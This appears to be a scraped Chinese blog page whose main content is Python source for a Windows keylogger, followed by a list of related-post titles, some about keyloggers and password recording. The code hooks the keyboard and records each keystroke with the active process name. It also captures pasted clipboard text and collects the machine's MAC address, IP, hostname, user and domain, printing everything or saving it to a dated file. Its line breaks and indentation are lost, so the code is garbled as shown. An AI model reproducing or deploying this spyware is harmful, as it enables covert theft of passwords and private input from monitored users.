# -*- coding: utf-8 -*-from ctypes import byref, create_string_buffer, c_ulong, windll
import pythoncom
import pyWinhook as pyHook
import time
import win32clipboard
import datetime
import os, uuid, socket, sys"""
键盘记录器:
1. 实时记录当前窗口名+用户按键信息
2. 记录用户粘贴信息
3. 支持'-w' 参数,打印并保存到文件
4. 测试环境 python3.7
"""class KeyLogger:def __init__(self):self.current_window = Nonedef get_current_process(self):hwnd = windll.user32.GetForegroundWindow()pid = c_ulong(0)windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))self.process_id = f'{pid.value}'self.executable = create_string_buffer(512)h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)windll.psapi.GetModuleBaseNameA(h_process, None, byref(self.executable), 512)window_title = create_string_buffer(512)windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)try:self.current_window = window_title.value.decode()except UnicodeDecodeError as e:passwindll.kernel32.CloseHandle(hwnd)windll.kernel32.CloseHandle(h_process)def mykeystroke(self, event):date = time.strftime("%Y%m%d", time.localtime())with open(f'keylogger_{date}.db', 'a', encoding='UTF-8') as f:if event.WindowName != self.current_window:self.get_current_process()if 32 < event.Ascii < 127:if flag == '-w':f.write(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY1]-{self.process_id}-{self.executable.value.decode()}:' + chr(event.Ascii) + '\n')print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY1]-{self.process_id}-{self.executable.value.decode()}:' + chr(event.Ascii))else:print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY1]-{self.process_id}-{self.executable.value.decode()}:' + chr(event.Ascii))else:if event.Key == 'V':win32clipboard.OpenClipboard()value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()if flag == '-w':f.write(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[PASTE]-{self.process_id}-{self.executable.value.decode()}:{value}' + '\n')print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[PASTE]-{self.process_id}-{self.executable.value.decode()}:{value}')else:print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[PASTE]-{self.process_id}-{self.executable.value.decode()}:{value}')else:if flag == '-w':f.write(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY2]-{self.process_id}-{self.executable.value.decode()}:{event.Key}' + '\n')print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY2]-{self.process_id}-{self.executable.value.decode()}:{event.Key}')else:print(str(datetime.datetime.now()) + '-' + f'{USER}-' + f'[KEY2]-{self.process_id}-{self.executable.value.decode()}:{event.Key}')return Truedef run(flag):date = time.strftime("%Y%m%d", time.localtime())with open(f'keylogger_{date}.db', 'a', encoding='UTF-8') as f:if flag == '-w':f.write(f'{DOMAIN}-{IP}-{MAC}-{HOSTNAME}-{USER}' + '\n')f.close()else:print(f'{DOMAIN}-{IP}-{MAC}-{HOSTNAME}-{USER}')kl = KeyLogger()hm = pyHook.HookManager()hm.KeyDown = kl.mykeystrokehm.HookKeyboard()while True:pythoncom.PumpWaitingMessages()if __name__ == '__main__':# 收集当前系统信息address = hex(uuid.getnode())[2:]MAC = ':'.join(address[i:i + 2] for i in range(0, len(address), 2))HOSTNAME = socket.gethostname()IP = socket.gethostbyname(HOSTNAME)USER = os.getlogin()DOMAIN = os.environ['userdomain']# 接受外部参数:# -w: save to file# -d: defaultif len(sys.argv) == 1:flag = '-d'elif len(sys.argv) == 2 and sys.argv[1].lower() == '-w':flag = '-w'else:print("Input Error")sys.exit()print(run(flag))

python 按键记录器 密码记录 用户输入记录相关推荐

  1. Python 按键记录器脚本

    按键记录器,就你在电脑上的每个按键,都会被记录下来,可以进行操作追踪,当然了,你在网站上输入的用户名密码等敏感信息也会被记录下来.用 Python 实现这个可以说非常简单,不过这玩意请不要用在别人的电 ...

  2. python的输入函数是什么意思_在Python中,用于获取用户输入的函数是

    在Python中,用于获取用户输入的函数是 Whichofthefollowingmodernfarmtoolsaredevelopedbasedonpushsickle?A:Reaper.B:Gra ...

  3. 在python中用于获取用户输入的是-在Python中,用于获取用户输入的函数是

    在Python中,用于获取用户输入的函数是 Whichofthefollowingmodernfarmtoolsaredevelopedbasedonpushsickle?A:Reaper.B:Gra ...

  4. 用python编写代码,判断用户输入的字符串是否是回文。

    用python编写代码,判断用户输入的字符串是否是回文. s=input("请输入字符串:") b=int(len(s)) flag=True for i in range(b): ...

  5. python中用于获取用户输入的函数是_在Python中,用于获取用户输入的函数是.

    在Python中,用于获取用户输入的函数是. 答:input() 关于新生儿生理性体重下降的恢复时间,下列正确的是出生后 答:7~10天 中国大学MOOC: 未来城市只有同时具备下列哪几个组成部分,才 ...

  6. python使用什么函数接收用户输入的数据_python 3.x:调用和执行函数的用户输入...

    有许多类似的问题,但没有一个答案解决了我的问题. 我定义了几个解析大型数据集的函数.首先,我调用数据,然后将数据(在.txt中表示为行和列)组织到列表中,我将为各个数据条目编制索引.在此之后,我建立了 ...

  7. python输入变量_Python如何获取用户输入

    本文首发于公众号「猿天罡」,转载请注明出处,谢谢! 有时候,我们编写的程序需要从用户那儿"拿到"一些数据才能继续执行下去,比如,判断某人是否到了法定投票年龄,需要用户自己输入名字和 ...

  8. python语言怎么输入-Python input()函数:获取用户输入的字符串

    input() 是 Python 的内置函数,用于从控制台读取用户输入的内容.input() 函数总是以字符串的形式来处理用户输入的内容,所以用户输入的内容可以包含任何字符. input() 函数的用 ...

  9. python学习(字典、用户输入和while循环)

    前言:上次学习到了if语句,这次接着进行学习. 字典 字典能够准确地为各种真实物体建模,且能够将相关信息关联起来. 使用字典 字典是一系列的键--值对,一个建对应一个值,值可以为数字.字符串等 在Py ...

最新文章

  1. C语言之基本算法26—佩尔方程求解
  2. php 扩展的so文件位置
  3. ARM之MMU工作原理分析
  4. Ajax Toolkit AutoComplete 几种用法
  5. figma 安装插件_我制作Figma插件的经验
  6. .NET 5 开发WPF - 美食应用登录UI设计
  7. 转载:tensorflow保存训练后的模型
  8. 和包支付的钱哪里来_2019年支付宝年度账单出炉,来看看你究竟花了多少钱
  9. C# 按钮美化技巧
  10. xenserver6.2 内存leak故障处理
  11. Eureka error java.net.UnknownHostException:
  12. android uboot获取mac地址,uboot生成随机的MAC地址
  13. VSphere虚拟化部署(五)
  14. 赵小楼《天道》《遥远的救世主》深度解析(16)丁元英停止私募基金不可言说的原因
  15. mac iTunes 下载慢,如何加速
  16. 1526: 小L的项链切割
  17. 【蓝桥杯选拔赛真题15】Scratch碰苹果游戏 少儿编程scratch蓝桥杯选拔赛真题讲解
  18. 【BP靶场portswigger-服务端6】信息泄露漏洞-5个实验(全)
  19. c语言字母数字有多少种组合,C语言------排列组合 组合情况(重复和不重复)
  20. 自我管理类书籍推荐以及如何进行自我管理

热门文章

  1. P1广州前端求职的第一个月
  2. github文件夹有白色箭头且无法打开的解决方法
  3. ASP.NET MC4 关于global 文件选择数据库问题
  4. 破解华为电脑耳机弹窗+超级终端
  5. 尽管全球通胀隐忧仍存,但消费需求依然强劲,航空货运市场状况可能会在今年下半年有所改善...
  6. 如何写一份合格的SAP功能开发说明书--接口篇
  7. 绫辻行人《杀人暗黑馆》读后感
  8. linux java 读取路径,java读取linux路径写法
  9. 100本名著浓缩成的100句话【深度好文】
  10. 网络层协议和IP数据包的格式(详解)